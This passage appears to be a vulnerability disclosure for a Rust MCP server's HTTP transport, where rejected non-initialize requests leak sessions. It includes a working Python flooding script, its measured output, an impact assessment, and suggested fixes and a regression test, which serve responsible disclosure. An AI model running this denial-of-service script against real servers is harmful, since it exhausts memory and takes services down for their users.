Details
Start it:
cargo run --release
Initial output:
[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
Step 2 — attacker
attack.py (paste verbatim — Python 3 standard library only, no pip install required):
import http.client, json, sys, time
HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"
# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {},
}).encode("ascii")
headers = {
"Host": f"{HOST}:{PORT}", # passes allowed_hosts
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Content-Length": str(len(body)),
}
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
conn.request("POST", PATH, body=body, headers=headers)
resp = conn.getresponse()
status = resp.status
resp.read()
conn.close()
if status == 422:
leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")
Run it:
python3 attack.py 1000
Step 3 — observed evidence
Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):
[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).
Server output during and after the attack:
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000 <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000 <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000
The behavioural evidence that confirms the vulnerability:
- Every one of the 1 000 requests took the leak branch (
HTTP 422 Unprocessable Entitywith bodyUnexpected message, expect initialize request). - A single Python client sustained
1000 / 0.46 ≈ 2 174leak requests per second. - After the attacker exited,
active_sessions=1000never decreased. The session table holds those entries for the rest of the process's lifetime.
<!--
Optional: drop in a terminal screenshot here. Two screenshots
(server console / attacker console) or one side-by-side capture are
both fine. Filenames can be anything you like; suggested:


-->
<img width="3554" height="1468" alt="poc" src="https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6" />
Impact
- Attack vector: Network (AV:N). The listener binds a TCP port; the default
allowed_hosts = ["localhost", "127.0.0.1", "::1"]accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widenedallowed_hoststo a public hostname, the attack is reachable from the network. - Authentication required: None.
- User interaction required: None.
- Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the
SessionIdArc<str>, theLocalSessionHandlestruct, and the half-dropped mpsc channelInner). At the measured rate of 2 174 leak requests per second from one Python client: - 1 hour: ~7.8 M entries, ≈3.5 GB - 1 day: ~187 M entries, ≈84 GB - 1 week: process is long dead from OOM - Secondary effect:
LocalSessionManager.sessionsis behind atokio::sync::RwLock. Every legitimate session operation (has_session,create_session,close_session,restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM. - Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.
Suggested fix
Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.
- Validate before allocating. Move the
ClientJsonRpcMessage::Request(InitializeRequest)discriminant check and thevalidate_header_matches_init_bodycall above theself.session_manager.create_session().awaitline. Reject non-initialize bodies with422*before* any state is created. This removes a class of bugs rather than patching one path. The downside is thatvalidate_header_matches_init_bodycurrently readsinit_req.params.protocol_version, so theInitializeRequestdiscriminant has to be deconstructed earlier — a small refactor. - RAII guard for the session. Wrap the
session_idreturned bycreate_sessionin a guard whoseDropimpl spawns aclose_sessioncall. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.
A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.